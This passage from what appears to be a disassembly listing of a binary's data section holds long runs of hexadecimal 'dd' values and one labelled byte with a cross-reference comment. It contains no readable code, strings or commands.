0FBAF5642h, 0A1813416h, 0E745656Bh, 0E5D74A7Ch dd 0AD60FE79h, 240AD7DAh, 28CBC706h, 6E435C7h, 0A176ADF5h dd 4DB3752Ah, 0F7C7AA2Dh, 2DE30548h, 69A5F7B8h, 0F4EDDAC7h dd 55164C0h, 0B1DCFFF9h, 42825DE4h, 698173EDh, 0EDE20659h dd 716BDCE0h, 9434D285h, 851E8B99h, 52F4C6E6h, 95E273B9h dd 0F4B3FB6Dh, 38DD87E4h, 0F4336161h, 8AB48B71h, 4D75E8E7h dd 0B37A3CABh, 0C9C4416Eh, 65E7BA7Fh, 0EDADE349h, 0EBC6AFFEh dd 0EC5C7EA3h, 6E7B8C7h, 0F7F77CC6h, 0B3567962h, 78E062B5h dd 0ADED06F4h, 712AAD2Dh, 0F72DB9E2h, 85883B58h, 712A43C4h dd 0A46DCA73h, 3C55B6BFh, 0EDEF4664h, 59A2B331h, 0C8EDA3F1h dd 6AF0B453h, 0C7346DA0h, 76DE65E5h, 0ED626248h, 3BB50E51h dd 107BE7E7h, 9E2DCD04h, 0C7F4BE80h, 0B3BF7FC1h, 0F706796Bh dd 0EB61D7BCh, 0AD4B7251h dd 0FCB4930Dh, 94ADC404h, 679E3A1h, 0E7DD8FD2h, 0ED47796Bh dd 0ED65EF3Ch, 87EE0649h, 0C44EC707h, 4BAD8300h, 4541A2B2h dd 6D5A3CE1h, 0D9C6A835h, 0F2C75B3Fh, 7F812BE4h, 0D4F4315Eh dd 847CCBC6h, 0A275227Ch, 0D725AD93h, 9EDF412Ah, 0FFD7E1BFh dd 34E70540h, 69EFF779h, 7CB684EEh, 44756AACh, 0C7B9ADD7h dd 0FA063C49h, 79E798C7h, 34B17050h, 704D43EFh, 0FB6D8520h dd 0C7E83283h, 0E7CB6DD8h, 0D0C56087h, 0B9F72DADh, 2DD045E4h dd 45294D22h, 0E9FE9CC2h, 686DA323h, 0E77996CFh, 0D00659A8h dd 0C6F7CD6Dh, 86CFC7F3h, 93C73F20h, 68DE87EDh, 0EEEB73E2h dd 0D7DBF69Ch, 8623BC8Ch, 25C7387Ch, 0ADD84645h, 5811738Eh dd 1B6DE6C5h, 4F3DDC7h, 694B32F3h, 0BAF66754h, 0FFD7DDF6h dd 2DA5E270h, 8A564CDCh, 0D8BCC345h, 458E511Bh, 43EDE1E7h dd 0FA056D27h, 97303CA2h, 0ADE2B57Ch, 904AEE68h, 0F183AE30h dd 4445A0C7h, 0F7E5EDFAh, 0F384FC0Fh, 0A491A6ADh, 44CB079Ah dd 0E449E730h, 0D837ED06h, 46D449E7h, 0E7E6B4F0h, 72726470h dd 0D6632B6Dh, 0B6D346F4h, 0D0C9D7B8h, 702D75A0h, 4B05DC7h dd 61D72DEDh, 0BDEE45A9h, 0E1C7DF2Dh, 0BC8C985Dh, 65A0DA60h dd 0B62D4DF4h, 0E04846D7h, 5CA82DA1h, 0B2A1A31Eh, 7153BE6Dh dd 41C0C6C4h, 0FCF43CDCh, 0D349D5C7h, 0E183AFF7h, 0F7B8F474h dd 4D144003h, 0A1E725B7h, 0B46E619Ch, 7DE7E27Dh, 97B16474h dd 0A171A111h, 8B037CB0h, 9DA0B689h, 24F7DF26h, 0C1E60579h dd 9625AEE4h, 0EDE0F585h, 561E763h, 0C3CE1C5h, 1C51F030h dd 0E7AD3CF5h, 4C085175h, 45E5A1B0h, 0E65CBE80h, 84780FF7h dd 0C7E776F9h, 0F5C5473Eh, 2AC7CBADh, 2DD10713h, 6D6B63ECh dd 947FC884h, 397DAAA1h, 0D768FAC8h, 69D3B7E5h, 0FCE7C2D1h dd 6D854DA5h, 85E7E7E9h, 8B500355h, 0A81CD6E7h, 0A2542D9Dh dd 91A8DCB8h, 0BFFEEB2Dh, 2D11DBAEh, 51A5A1A1h, 32F4B24Ch dd 5079A2F7h, 0AF4AEDA9h, 235745AAh, 0AEB331B5h, 18D68565h dd 61E6C84Bh, 18CA47DDh, 859E6992h, 0B3B239D4h, 0CB8545ADh dd 43F2537Ch, 2D1196DCh, 45AAE45Ch, 0B46DCD46h, 83C8B4F7h dd 0E7DE6D66h, 0CB637DA4h, 0E6D7DE54h, 0AD8AA959h, 0C43542F6h dd 40BCE606h, 0C67D6DD2h, 314B1DAh, 9916616Ch, 0E4D71F4Ch dd 0ADE27C51h, 61EDE8C3h, 9F3CBB16h, 84A72BE7h, 11ACBBE9h dd 8B70ED01h, 0BDE2F67Ch, 0AD8DCD89h, 91FCD207h, 94AD42D5h dd 4448C764h, 0C4EDEDCAh, 21733EB6h, 71BF7C6Dh, 3766533Ch dd 4229492h, 0B23FFE06h, 86656BE2h, 0BDA0ADE3h, 0E3C561A2h dd 695C34ADh, 0FFD9C475h, 0E2C0E754h, 0BEADF484h, 8720AB4Ch dd 9107B4FCh, 0E3C7BCD4h, 948107C3h, 0EDF1C7BCh, 4E7C934Eh dd 24B16170h, 11443FC7h, 8DD72D5Dh, 0E2C679A3h, 67B1D3F5h dd 92835151h, 5966C77Fh, 3CBE03BEh, 665671Eh, 0F7E0B4CCh dd 0DB067DADh, 0F4F7ECADh, 0EDCB07F4h, 5566913Ch, 0A1AD966Dh dd 0C7752DF7h, 0D79BEDD0h, 0E5461FBFh, 5E43E1ADh, 2DE3C5B8h dd 9B53204Dh, 0F7EDB519h, 5844B9E7h, 0E7E6B46Eh, 0C8866D6Bh dd 1783BF78h, 0F7CE84BDh, 0F843F770h, 1F2DCD84h, 0C4BF92E7h dd 124FDBh, 0BA53512Fh, 5CF7F332h, 2DEBC708h, 6161F02Ch dd 0F2ADCD84h, 0E149E5F7h, 0E73832BAh, 0A4E128F4h, 733283ADh dd 72E845D4h, 8C18E776h, 2683C8C5h, 0C471AED7h, 0A168EDE9h dd 0C2C77528h, 0CFC0008Ch, 0FC83C1BCh, 0A91701ACh, 13EDD684h dd 845166F7h, 0E170EDEDh, 0E58471A2h, 0A2E7E6B4h, 0ADA11941h dd 0C8F5F7B5h, 0ECEDD0C7h, 842816F7h, 2254ADF6h, 856AD4C2h dd 71D73177h, 0F6D586FCh, 0C47DC7E6h, 25ADD006h, 0C4792DF7h dd 0B1B334EFh, 0F0C675A4h, 0E9D72BBCh, 0AD910C65h, 0CC83D76Dh dd 73848580h, 86FC3091h, 0E714EDDEh, 0FF8565A2h, 0A47162B4h dd 0BCF08675h, 3AA61FCh, 582D8ED8h, 455EDD7h, 0B1DC31EEh dd 0EC444D24h, 0A7E7F834h, 0AD9B6F61h, 408F533Ah, 646DEC84h dd 0C551A2F7h, 0E766ADCDh, 0E5C579E5h, 0E5F7DF6Dh, 0B6B8227Dh dd 2C57D76Ch, 0CB74CEC6h, 44D60D7h, 0C7DFB4F3h, 0E2C459E2h dd 6F6170F4h, 7F954241h, 74F2916Ah, 5F6DF706h, 0B06528ECh dd 0C701ED95h, 0E144CCB0h, 85D731EDh, 0B4A902FCh, 4C3BF7DBh dd 0C6EDAA23h, 5865A5F7h, 0E7DCAD10h, 0D2C75D6Bh, 20F7877Ch dd 74C60655h, 712DF7DCh, 712DC584h, 86F430F7h, 0D7D274C6h dd 89EF756Dh, 13F7E12Dh, 2DE9C4B0h, 6D6D10F9h, 0D6AD902Ch dd 4771AFF7h, 0F7F16DC0h, 0F40659AFh, 85D7F0ADh, 82A230EFh dd 0E447C7DDh, 712D896Dh, 856563E7h, 0B1373CD3h, 6ECC4DE4h dd 65E7B1B4h, 2D896369h, 6DEA6DB6h, 0EDBFC584h, 0C76563E7h dd 618B3CC4h, 7F717921h, 31E7D9B4h, 3CC844F4h, 5120A171h dd 0CBADB642h, 2A55AAE7h, 93B3B446h, 0D986FC02h, 7291468Fh dd 0ADD14644h, 7C70C735h, 0EE6DBB5Ch, 23CCB5D7h, 0F7FDB4B7h dd 0D384403Bh, 0FFD7ADADh, 0EDEAC5D4h, 79A5E74Ah, 0FFB4C6C5h dd 0CD55E5C7h, 81BC2D4Dh, 0E1C47870h, 66530EF4h, 0ADFC0645h dd 6928D779h, 95ADCF84h, 0CE8B2A81h, 0E7E1B465h, 0C1C541A2h dd 2463FD8Fh, 0BFC62E65h, 0CFC363AFh, 402D81A0h, 6D431A9h dd 0E7B647E6h, 81A35DAAh, 25F787ADh, 0EDA54261h, 5D6EA3CDh dd 10ADD844h, 0C45D24B3h, 0E7DEFCE8h, 0BF015121h, 0A0C7D0F7h dd 71A7AD4Dh, 4D29E7B2h, 312DB5ADh, 624C44C7h, 95192DF1h dd 0C0EDE97Ah, 870E74EDh, 9F8C7AC8h, 0E4FFD7FFh, 0D287E806h dd 0C7E4C0C7h, 33AA7F0h, 784D660Ah, 2469B2ADh, 0B4A56F49h dd 7D25D7DDh, 342DFDC7h, 6C40477Fh, 713E7C64h, 0F7864612h dd 80F7F9B7h, 0F73F8BE5h, 51A9C7DCh, 0DEDA420h, 0EC5168A1h dd 6DFE2D41h, 624A61A7h, 0E3F7DFDEh, 0F4E28559h, 0F074630Dh dd 3FADB8F7h, 0B0712CD0h, 0E7787C9Ch, 0E4C749A6h, 0A9C70571h dd 6DE6C575h, 65A4E77Ah, 0E4ADD785h, 0C57D6DD7h, 0C7652DCEh dd 83CE0882h, 7E425D30h, 0EDDC04F7h, 0EC83F71Ah, 0E2F1B1D5h dd 44556BE7h, 0F7ABF9EFh, 0F704EC83h, 2D73172Dh, 6DCDC451h dd 5969E7DFh, 0E374D504h, 1C656FA1h, 3922DA1h, 0C74645E5h dd 8C267ADh, 81EDC5E0h, 79EDF774h, 88F98003h, 840037F7h dd 23F76DEDh, 0DEC4F915h, 5FD7BAEDh, 0EDCDC7ECh, 0C5D58308h dd 26ADFAC5h, 0C675217Dh, 0F78C2DCDh, 8D77AB21h, 63E75D2Dh dd 7486890Ch, 0D83CD7E7h, 93F41389h, 447DED12h, 0C70574CEh dd 84604121h, 0FEB2FC37h, 32C0C554h, 79E0E7E1h, 2CEDE3C6h dd 46C4F5F0h, 530E2DE0h, 0C1C4756Dh, 0B7C7E3EDh, 39A0D868h dd 61A8D7DFh, 55CACF86h, 7C4C6D7h, 0D73AEDC1h, 0E98468B8h dd 672DA9ADh, 0F4BDA47Dh, 49E0E7D6h, 222DDCC7h, 8400BDB0h dd 0D7DE10EEh, 0F0C6543Bh, 85D2B6F7h, 6DE9C77Ch, 69E86F34h dd 5B2DE5C7h, 85516D91h, 0B2B36DE1h, 0DB06E430h, 0EDF7F56Dh dd 2DA38065h, 6DA7C7DFh, 6BFED86h, 0A093ABE7h, 91C22D81h dd 0D2866566h, 0E2C72FADh, 0EDDCC571h, 69ABE7B6h, 0FFEDC104h dd 0C5696BE7h, 0D711FFE8h, 0DAC52C76h, 28235AE0h, 0AD57F049h dd 6DA2D71Dh, 792DB990h, 0C4D047F7h, 0F7BB71DFh, 0AC752464h dd 0A1D2BDEDh, 0ADB4F65Dh, 0C8BCB167h, 0FFF482E2h, 85696DE7h dd 0D26980FEh, 0B9285DEDh, 0E5AC60EDh, 81A5D451h, 7960D747h dd 162D8D0Dh, 0A90C65C7h, 0E7FF51D7h, 5A7671A4h, 7E42636Dh dd 0EDE80474h, 77FEBD89h dd 15F8EF86h, 84E43CE7h, 0A337ADF5h, 9B8071A6h, 0E9911674h dd 0EDD50659h, 65EAA1F6h, 49309111h, 0E055A5A1h, 92E96DA5h dd 0F4C53468h, 0E192E53Ch, 2DE2C545h, 75A5B073h, 0C8AD8F96h dd 46882E7h, 0F7DFEDC9h, 0D1475DE0h, 69E705BFh, 34C4C579h dd 5969F729h, 29EDE507h, 0AA000441h, 0E7F736BCh, 913D41A5h dd 4E74574h, 0EDC9C4ABh, 61EE6280h, 0D26DAF62h, 0C74525E0h dd 0C7C86DE6h, 0ACA39347h, 6EE7056Dh, 0B3BF5D4Dh, 2700F7CAh dd 72EDE047h, 5D4DA96Ch, 0D7156DAEh, 9A17902Bh, 0E56C7D6Dh dd 0C3B3785Dh, 7DA4E7B8h, 0C8AD923Fh, 9D55E491h, 0B37EAD8Fh dd 0D7478CC7h, 20819D6Dh, 6DAC5275h, 41AFE704h, 66DAD5Ch dd 62B7C0D7h, 0E7346DACh, 0BD7F55A4h, 0E760CEEDh, 0ED817F55h dd 556760CEh, 9031AE7Fh, 76EC3E41h, 0F294ED89h, 971188E3h dd 77200ADh, 0F8DEC4A0h, 5D2FF756h, 33EDB5DFh, 6556BE7h dd 0D8546DCAh, 0EE853468h, 84F7566Dh, 74B95EE0h, 840CC772h dd 0CE6D625Ch, 0C7BB00F7h, 0C7048BF9h, 0D5848B03h, 63C2CB39h dd 31E9C56Dh, 796C50ADh, 9339BE9Fh, 7C45AD01h, 0C7442D62h dd 8DCD9703h, 47C7D1FAh, 6D64B338h, 8747F754h, 162DE346h dd 82204CE7h, 0C24FC49Dh, 0C185F454h, 62E7863Ch, 6DADFE65h dd 0A8CC6CF2h, 0BA6DAC21h, 46452AE7h, 0E7892DF3h, 9CA04841h dd 5E7B26Dh, 0EDC4444Ch, 61AFF719h, 522D99B5h, 5E612070h dd 0B1B56DAEh, 0C604492Dh, 4DD718B7h, 82C907A8h, 4163C7E1h dd 0FBADFCC5h, 0C4F84F10h, 0E7BAEDDCh, 0C80471A4h, 6000A0EDh dd 6DAC9D61h, 87CFE70Bh, 0E2ADE546h, 7D41EE5Ch, 0F7052D62h dd 0DF878796h, 61E25CEDh, 6DA6D871h, 9F0AC70Dh, 6F759E2Ah dd 0C6EF3C42h, 0C37EDF5h, 0E6C6E438h, 0AAC7E534h, 0ED85A15Dh dd 0DBF1B0EEh, 46DE0C5h, 5D49A5C7h, 0D7AB2D93h, 517C5DEEh dd 87D721ADh, 0EDDB4686h, 708512B4h, 0D9ADCFC7h, 5B79ED12h dd 0F7F8ED63h, 0D7D7927h, 0B5F76D2Dh, 0EDFB0477h, 0F7F40098h dd 98EDF304h, 0C55DA238h, 607972F6h, 0EF86616Bh, 27D79FF8h dd 6DAEC151h, 0EBF4C707h, 642DDCC7h, 0C77525D7h, 9D35EDE9h dd 0E3050B40h, 2F91672Dh, 3A86D671h, 0FC31D7E1h, 2B3CC447h dd 0E14D29C7h, 0B37F6DBBh, 0C5047166h, 0C28167EDh, 0EDE8C7CBh dd 6520D7C5h, 0C9F4BCAFh, 0B9BF10D7h, 6074AD9Eh, 0EDC5456Dh dd 0E5F7FF6Dh, 6DF64645h, 65EF729Dh, 24F04CE3h, 0B041E9F7h dd 0F7C46D9Ch, 8E8F65E3h, 3DF7D7EDh, 7CF2048Ch, 45EED787h dd 5C2C347h, 90CFF4C7h, 6025B4A0h, 0C4C6EF3Ch, 0CCF75F74h dd 2D8DBDACh, 3C1DF763h, 87ADBE38h, 9E412A12h, 0E786798Fh dd 651B69EEh, 6B248B6Dh, 2DEB8571h, 716B1E85h, 0BA6DE485h dd 0C455E7E7h, 93F4EDC2h, 0D0C688D3h, 0E3F7E4ADh, 74AFB598h dd 69E4E71Ah, 36EDA440h, 816960A1h, 0C7DF5294h, 0F6C651ABh dd 6AAFF784h, 0F4EFC569h, 7449E7F7h, 0A4FB91DCh, 46452A80h dd 223F6DFDh, 0CDC75C75h, 769321EDh, 0C2F9C608h, 0E8CFD756h dd 886D9E62h, 47756BADh, 0C71ABFF4h, 813741A6h, 6671D0B2h dd 0AD98C15Dh, 0D431D099h, 3D71D806h, 0A141A651h, 93216D89h dd 0A82D14E0h, 0EFE7846Dh, 0F4DA0651h, 456EE7F1h, 0D0ADC6C7h dd 66D6BE2h, 0E7D4FCEBh, 0A24175E4h, 6B70C1EDh, 0FCDB8771h dd 7D25D77Ch, 8D6DE007h, 4F704DF7h, 7DC76DA8h, 0E4C584E4h dd 65E7DD2Dh, 2DE4C569h, 69AED726h, 252DA4B5h, 4EC33F7h dd 0F7A477F8h, 0C744556Bh, 0E7E7AA47h, 77B86151h, 596BF7E7h dd 0D6FCDB84h, 0FC7928C0h, 0F7E22DB4h, 0FE060468h, 8DF79237h dd 47ECC668h, 416BE730h, 0E8EDFB44h, 6756361h, 0C730FBF2h dd 0D2C475A9h, 0F5C792EDh, 0EDCC45C0h, 45A923A9h, 30F4ED85h dd 4684B8F7h, 0F2D3EDF1h, 0E2444D60h, 24C79FEDh, 2D8D015Dh dd 0D3D4F724h, 0F86DD8C7h, 894D6AD7h, 0D74E6DA9h, 0C544CC36h dd 0EF5144EDh, 3C7FEF41h, 5057C79Dh, 703A0BAh, 7412AE7h dd 0B37F6DEEh, 0C107712Dh, 0E0D786C6h, 0B2DD4555h, 4D6EF7DFh dd 4CF4E447h, 8427C041h, 0F7DEADCDh, 0DFC7484Ah, 0F4998B2Dh dd 0ED8BE16Ch, 802742ECh, 0A2DD346h, 0C5F00783h, 0D79EF4EFh dd 0A60D4C3Eh, 27E7156Dh, 0F79A7155h, 3041C734h, 0A2D72ECh dd 444563A3h, 1D62DDAh, 0B0BEDC7Dh, 0AD29016Dh, 80FFC66Dh dd 0BCEFC768h, 0DBFEE005h, 8441E5F7h, 70D0ADD0h, 0C3C54521h dd 10F78577h, 6DC4C7EBh, 45E56CFFh, 91F4CBC4h, 0C4456511h dd 0D760ADD0h, 0DDC5712Ah, 6B9385ADh, 36FFC55Dh, 0FF18F7F9h dd 0F836FFC5h, 0C748FDF7h, 0F714EDE4h, 4F816DEDh, 60D79FBCh dd 6D312B65h, 51603308h, 9F34872Dh, 0CF4167C7h, 81677E9Fh dd 0A1035960h, 3191FC6Dh, 46E084E0h, 49285962h, 70E7D0C6h dd 0C741A661h, 0F7F1B2DEh, 0C687516Bh, 6BE7E8C8h, 6DCC465Dh dd 4DEF398Fh, 0E4D4B540h, 45DA2F7h, 3542BADFh, 8183B853h dd 1F73CFCh, 2D8D32F0h, 749ED7ACh, 882DE5C7h, 0C7456073h dd 0DB26DE3h, 0D9C479A2h, 0A2D725EDh, 77C3C469h, 0C4D8F7D5h dd 0E636F485h, 0C4E498D7h, 0DD26DDDh, 0CEC55963h, 6EE7E12Dh dd 0AD4F6A75h, 796BD769h, 0DE6DDDC5h, 4475630Dh, 0E7BA6DEEh dd 0DC8441A6h, 0ED0155EDh, 3E30451h, 47D3C7E4h, 0CE2DC546h dd 37CF92C7h, 0A299FFA8h, 0C005516Bh, 2A939BFEh, 0EDD10471h dd 4406C273h, 0E7BED006h, 84752D93h, 91F5F4DAh, 0B54065EDh dd 0A2F7A5D4h, 0BFE80479h, 74DCD7A2h, 0DF3781ACh, 7E612AF7h dd 0D786ED53h, 433E5D6Dh, 69814DBFh, 0FCE3057Dh, 51E08010h dd 8C44A3F1h, 0C561E173h, 0E7A77FC0h, 0A5EE5F4Eh, 0A2D7E1EDh dd 0F8D14559h, 41E2C765h, 0D577D845h, 0AE743CD7h, 0D7B36DBCh dd 0EE0641AAh, 0FBF7D16Dh, 6DBE78C4h, 0B0998300h, 0FD5C5D23h dd 85FC1893h, 0A36B37F1h, 0F5064DEFh, 0E58FA1F9h, 0ADBCE14Dh dd 9F68D25Fh, 0C56DB3ECh, 4BFF51Ch, 9D88D8EDh, 0FCC42BF4h dd 27B136C8h, 3296564Dh, 4C730102h, 0FF4E744h, 5F6DA6D7h dd 0E7A8ADA1h, 0E6C47DEFh, 0E7E75A6Dh, 0AD972845h, 0F2BDE7DFh dd 8CF7964Fh, 0C6E28A43h, 614B2DC4h, 942F5169h, 0E740632Dh dd 0B7B1896Dh, 61E79102h, 552DCCC6h, 47DE971h, 8C7FF4D2h dd 8C5059A4h, 48E7102Dh, 6D200CD7h, 69EAF7F5h, 3BB76B29h dd 0F692FE7h, 0F78B2D95h, 582D75E5h, 0AAF7F46Dh, 0B6B62159h dd 65A2F786h, 8D2DCDC6h, 4C6D2BE7h, 0F7C5FB83h, 8E2D7564h dd 25610070h, 0B19D2071h, 79A2C7DBh, 2060C885h, 0C5B7BEC7h dd 0D774EDDBh, 0A47D7D66h, 7F79F38h, 37945D30h, 2047C704h dd 0EF6D9B2Eh, 49D086E7h, 0F7CDADA0h, 6309608Dh, 0E76F042Dh dd 478C3C79h, 0AC82D7E5h, 0DF43E447h, 854D29D7h, 0E74AF7D1h dd 336ECF4Ah, 2D7152ADh, 0C6E04579h, 71E9623Fh, 0F1C3BACFh dd 4645A0C7h, 0C7AD6DFCh, 0A05240D4h, 6A614567h, 0FE40EF71h dd 51677152h, 0A747F046h, 85770C23h, 0E0D339CFh, 0A2575D6Ah dd 90D76B23h, 0ADAD696Ch, 4854C79Bh, 2F6DCF07h, 0FB00033Fh dd 73096D4Eh, 0D80575A0h, 8A3BB4E6h, 2D8E88ABh, 0FE7EB3BFh dd 8F369E0Ch, 0C7A83F4Dh, 1FD66DC3h, 3F37D445h, 6D1330ADh dd 0B6DDC57Dh, 75ADC714h, 7B7F12Ah, 85B46971h, 0C705F7E0h dd 0EE44CC16h, 2AA05CEDh, 0EDA97D71h, 496912FBh, 29EDADEFh dd 0C465E9E7h, 0E7342DCEh, 0C30472F4h, 0D83B73EDh, 0EDA8AAC1h dd 75253BD2h, 0CFED284Ah dd 0D79E5FEh, 0D7812D8Dh, 0D6065890h, 853DD66Dh, 0B290ADE3h dd 65E62E11h, 0FA6DE5C5h, 0C575A7E7h, 0E747EDE7h, 50A8516Dh dd 0EDD7E3ADh, 6C10551h, 6DE2D769h, 5416C704h, 0A851EDE7h dd 0E71FED67h, 5DFA4526h, 1B22D031h, 0ADD644F7h, 0F65BC731h dd 0A2F7297Ah, 0C5AB59E7h, 0F7AAADD0h, 6AAA9498h, 0A6E739EDh dd 0D426AA4Dh, 61AE41E9h, 4126F4C6h, 5BAD5C04h, 0D7658210h dd 0D3C6EC71h, 0A0F731B7h, 0ED966E74h, 49A0F79Eh, 0DF2DFAC7h dd 67D6FC7h, 0E7083FFCh, 62627968h, 2EC7ECEDh, 84C7449Bh dd 41EAE704h, 503CD7C5h, 8D4929E7h, 0D7FB6DA2h, 8D036165h dd 63E787EDh, 74ECC575h, 452FD0E8h, 84EDEFC4h, 86552F93h dd 0D706C7C5h, 69A369E4h, 2F9DC46Dh, 7CE18765h, 90D971FFh dd 15ADFE84h, 44CCA0C7h, 0B1B3ADEDh, 0E2C76160h, 0FCC7F12Dh dd 0ADD1C750h, 1C13F7ECh, 0ED2DA763h, 745E5F7h, 0F73AEDF7h dd 8CBDE0DFh, 6EE7E5F0h, 7CF80745h, 55EEF7DFh, 2134F605h dd 0C5616561h, 0D770ADF6h, 0F286416Dh, 20F787ADh, 0F7F20665h dd 4DE4E764h, 0DF2D9E43h, 8351A6D7h, 0E73BC792h, 0EC4614A6h dd 0ABE7BA6Dh, 2D853549h, 0C8B5D726h, 39ED9C73h, 6249E7E7h dd 33FAED94h, 0C7076966h, 0EAB11F44h, 0C1DAC551h, 7D6BE7DCh dd 4F6DCE06h, 0C7A8CB93h, 334B44C7h, 812FF0F4h, 6B61F02Dh dd 0FFC3C645h, 416CAC27h, 80C07163h, 7361E6C7h, 53246D2Eh dd 0C587696Dh, 5379626Dh, 804663ECh, 488740E9h, 0A96DF246h dd 44047261h, 61A0FFE2h, 90C375ACh, 0DED761ADh, 2D8D8D1Ch dd 6DA4C76Ch, 56DAC89h, 0C4537FE7h, 0C77FF7C6h, 81D54087h dd 47D0F92Dh, 0B2472CDCh, 0CC088DCFh, 5DEDF247h, 1DF88C53h dd 736C76B4h, 5E4F71E5h, 7BD75AEDh, 87F385F0h, 6123E7A8h dd 70F4E4C7h, 5712AD7h, 7351ADCDh, 0F987692Dh, 363626Dh dd 6DEC8794h, 496BE7B0h, 21EDBA2Dh, 8755A273h, 5178B6DDh dd 6D30E4CDh, 4443622Dh, 40CAC77Ch, 4160E765h, 6277DC05h dd 0C57DA243h, 2D6777F5h, 9AE56563h, 20E784BCh, 0FED60645h dd 0D37F61C4h, 69ADD8C7h, 45756BE7h, 43582DCAh, 1B89C84Eh dd 0C8C7F86Dh, 2DC84644h, 0FCF3D796h, 496DA08Bh, 696C54E7h dd 0C72A2D0Dh, 0A560696Bh, 0B7E70B6Dh, 6DBC0E63h, 0E34A0FB7h dd 4D2D8D6Dh, 47B4B971h, 8049FFFBh, 0AFEFF6D7h, 0E0D7F1C6h dd 0ADC04641h, 55ED1DE3h, 607CE187h, 84644321h, 313E34DBh dd 0E28775A1h, 0FF7F2FBh, 6DF50787h, 5C33D77Eh, 912DCFC5h dd 0E875E46Ch, 13E3AD61h, 0F10451EDh, 82C7E16Dh, 0CEFD05CCh dd 43AC7D2h, 576DED46h, 0C7C951C7h, 5F446DFEh, 8ECA556Ch dd 74D78496h, 0AD8D60E8h, 6433C7DFh, 0ECED922Fh, 6AF0F8D7h dd 0F7767715h, 0A80A7524h, 6D1D1C6Dh, 0ADF48645h, 51A33BD4h dd 0D9AD50AAh, 0C67DEDF7h, 508986D7h, 0AD0A5967h, 99E770F1h dd 3EE9C446h, 41A32123h, 54F3782Ah, 0CA55E90Fh, 0C7E1AD8Fh dd 0D156A1Ch, 27E7682Dh, 0ED557F61h, 79AC0DF4h, 0D9AD58B8h dd 0C7796DC7h, 0F084C4E0h, 90A2942Dh, 0EDD7A7ADh, 2DE90759h dd 49A27D1Bh, 65EDD9C5h, 0C475A2F7h, 0E7D5ADCDh, 0A00141A5h db 0EDh, 0FFh, 0E7h byte_442B77 db 2Eh ; DATA XREF: .text:off_430CFCo dd 0F1BAD771h, 0F479F703h, 0F8379556h, 4445E7F7h, 0CEC66DDDh dd 0F5B76D6Dh, 6EE7DFEDh, 0F9E34761h, 41A7416Bh, 0E901C6C6h dd 7792A91h, 0D76B8EEBh, 8DE17964h, 0E240D3A1h, 0B9C0453Ch dd 6492033Fh, 52F3C805h, 37172EF0h, 0B330C6AFh, 0D9C55524h dd 64E7AAC6h, 348C434Dh, 0B42F6168h, 3CC6D944h, 0E1796CE7h dd 6DD36D84h, 0D7C77491h, 0A5C7DA2Dh, 7F4C510h, 6169E72Fh dd 652DDCC6h, 641EDF7h, 4DDA2DEDh, 0F08649ADh, 61E786F8h dd 0ADF4C575h, 65203182h, 656DDB05h, 0D675EDBEh, 0C7D42D8Ch dd 8D0D7CFCh, 39808EADh, 0ADBEE9F0h, 796BC7DFh, 1F41D347h dd 0C555ED91h, 0D7D1FEF1h, 0A25B79E5h, 2AC707EDh, 37C705F8h dd 616BE7CAh, 8E6DC584h, 2D61252Dh, 0A15AEDAEh, 0E104716Bh dd 25E77FEDh, 0ADF64649h, 712561A9h, 0BCEDE804h, 476D6BE2h dd 0D79FFFE2h, 948D6D2Bh, 0A2F7A7F7h, 0F7C4844Dh, 71EDD7D9h dd 0E3FCA3A2h, 864DADB1h, 0D7CB40EAh, 0A061C7BCh, 3DD7966Dh dd 2DE50493h, 6DE95363h, 0D0AD8D8Dh, 7D5033C7h, 0D722AD40h dd 8F21AAECh, 0D1C7A6ADh, 2D897433h, 0B864C7DFh, 9F3795E1h dd 8D6D6CC7h, 0D70C00A6h, 8E6069ABh, 6AA0832Dh, 0B7D3C545h dd 87E3C747h, 78EDE4B3h, 8D6DA251h, 0E713ED96h, 0D305E47Bh dd 8AC71F31h, 0ADC10644h, 4DA5F778h, 0F3ADC144h, 46846DE7h dd 52A1EDCBh, 0D6864566h, 26E267ADh, 0BE50665h, 7DA35066h dd 483BD946h, 8441EAA1h, 0C7F2F1DFh, 5AB9596Ah, 20E7882Dh dd 0FEBEDE4Dh, 0F89F626Ah, 18F35989h, 47459E7h, 0D2642DC9h dd 0B59245A9h, 65F77FADh, 2DE94445h, 51A6AD7Eh, 353BB692h dd 5CFCC2F7h, 0B37E2DA5h, 0D084756Bh, 25F7DB07h, 0EDD30471h dd 756D8200h, 0B8B95AC1h, 851F98C0h, 0C7A1ADD2h, 0A62CBC23h dd 0F453BF6Dh, 0ADD3C5CEh, 0D4C7F77Bh, 0DFF6E046h, 4771E5E7h dd 0E755F8DAh, 0AB2D6043h, 0ADE784F5h, 48507F75h, 6843E70Eh dd 302D67F2h, 7552EC2h, 0A1DCBCCBh, 0D046456Ah, 66D2306Dh dd 0ADBC2345h, 45E7D77Ah, 26AD8F92h, 478ED1C7h, 8EDB6DC6h dd 0F2C72411h, 0E23E6E44h, 6D21DE59h, 9708D230h, 261BC104h dd 84792DF7h, 0C047BFCDh, 0F244C733h, 254E7DB9h, 6DD14445h dd 41E38D7Eh, 9F7E8A1Eh, 1F55A6F7h, 4178ED6Ah, 8D8945E9h dd 2AF7DDADh, 0AD8DE25Dh, 49ED23E3h, 0BB6D8978h, 0CD452790h dd 0D7C4BBADh, 99ED6099h, 0EBE7DF2Dh, 0FFCAC67Dh, 8428C7B6h dd 656DE544h, 0C5A0721Dh, 2F2F6F3h, 0D9C471A9h, 0F8E7A52Dh dd 0CB8857DCh, 7DEED761h, 0CAED90D5h, 0E25DECF7h, 0CC12ADB2h dd 93E875A8h, 92C76AADh, 6D8D6EECh, 0F894C7F1h, 0B2FB82D9h dd 56E4D772h, 0C7E7EDB0h, 8D36081Ch, 533A486Dh, 6DC54686h dd 7D6032F8h, 25318508h, 86BC81C7h, 0C77933C2h, 0A5A949E9h dd 0D8C2AB43h, 2DE2C517h, 59E42C93h, 0CD37C784h, 4741CF7h dd 17806DCh, 0A5B8F075h, 0C5F7CE08h, 32E547E4h, 45ECE7E4h dd 0E12DBD98h, 47D4CB83h, 0E7A177D5h, 59B12493h, 0A053BF6Dh dd 1A0CC169h, 456761CAh, 0F4ED69B4h, 16D2C3Dh, 0D731F3AFh dd 0CB8469E0h, 20A12CFBh, 0ADB69B45h, 23C30E4Dh, 6ED2DF85h dd 5059EFC7h, 220C9447h, 5D7B4966h, 5E24C96Dh, 0F436FAA5h dd 46FCE7CBh, 8DADDB46h, 84504FE7h, 1ED26DDDh, 0D78604DBh dd 0B7E7D7ADh, 46F887C4h, 0E5B5D719h, 4AFC7661h, 0C7C383D7h dd 0F7C3ADD0h, 0A655FA74h, 26C7DF0Ch, 2D8E4355h, 802BD7E1h 